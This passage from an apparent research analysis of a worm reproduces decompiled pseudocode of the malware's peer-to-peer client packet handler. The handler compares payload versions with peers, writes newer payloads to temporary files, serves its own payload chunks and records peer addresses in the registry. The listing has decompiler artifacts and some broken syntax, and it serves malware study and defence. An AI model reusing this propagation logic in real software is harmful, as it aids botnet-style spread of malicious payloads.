void client_handle_recvmsg(struct sockadddr* peeraddr, char* recvmsgbuf, unsigned int
            msglen, int locaddr, int a5, int protocol, void *sock, char* sentmsgbuf,
            int result, int external_addr) {
  *(_DWORD *)result = 0;
  bzero(external_addr,sizeof(external_addr));

  if (parse_recvd_packet(&pm, recvmsgbuf, msglen, 0, peeraddr, protocol, sock) ) {
      version = get_payload_version();

      /* remote server's payload version == local version */  
      if ((version & 0x7FFFFFFFu) == (pm.payload_version & 0x7FFFFFFFu) ) {
          if (!pm.payload_offset && !pm.payload_data )
              goto ADD_TO_PEERLIST_AND_EXIT;
      }
      /* remote server's payload version > local payload version */
      else if ((version & 0x7FFFFFFFu) <= (pm.payload_version & 0x7FFFFFFFu) ) {
           if (pm.payload_data  && pm.payload_version >= 0 ) {
               ushort peer_port = 0;
           if ( protocol == 6 ) peer_port = *(_WORD *)(peeraddr + 2);
           create_temp_file(pm.payload_offset!=0, *(_DWORD*) (peeraddr+4), peer_port,
                  (int)*(locaddr+4), *(_WORD*)locaddr+2, protocol,
                  version & 0x7FFFFFFF, pm.payload_version & 0x7FFFFFFF);
      }
  }
  /* local payload is newer than remote */
  else if ( !pm.payload_data && version > 0 ) {
       poff = pm.payload_offset;
       rand = (unsigned int)critical_generate_random();
   
       if (protocol == 6 )
           rand = rand % 0xC01 + 1024;
       else
           rand = (_DWORD)rand % 0x201u + 512;

        call_RegSetValue((int)&rem_payload_len, (unsigned int *)&payload_size, poff,
                          &payload_data, (DWORD) rand);
   
        if (payload_size && external_addr && protocol == 17 && !poff ) {
            if ( *(_BYTE *)(recvmsgbuf + 8) & 8 ) 
                 build_sockaddr(0, pm.external_ip, external_addr,
                                htons_0(pm.external_port));
        }
   
        is_loc_IP = check_if_peer_IP_in_local_subnet(payload_size, *(_DWORD *)
                    (peeraddr + 4));
        generate_new_message(sentmsgbuf, result, 1, is_loc_IP, protocol, 0, version,
                             poff, v23<=0, payload_size, &payload_data, 0);
   
ADD_TO_PEERLIST_AND_EXIT:
        if (!a5  && !(*(_BYTE *)(recvmsgbuf + 8) & 2)  &&
            !is_private_subnet(*(_DWORD *)(peeraddr + 4))
            && call_check_IP_is_in_ranges(v21) )
               update_registry_with_addr(*(_DWORD *)(peeraddr + 4), peeraddr);
        goto EXIT_THREAD;#
  }
 
  *(_DWORD *)result = 0;
  if (external_addr )
      bzero(external_addr,sizeof(external_addr));

EXIT_THREAD:
  prolog_exit_thread((unsigned int)&v47 ^ v43, ebp0);
}


SOURCE LISTING 15: Client packet handler



 


 







Acknowledements

  This material is based upon work supported through the U.S. Army Research Office under the Cyber-TA Research Grant No. W911NF-06-1- 0316 and by the National Science Foundation, Grant No. CNS-07-16 612. The views expressed in this document are those of the authors and do not necessarily represent the official position of the sponsors.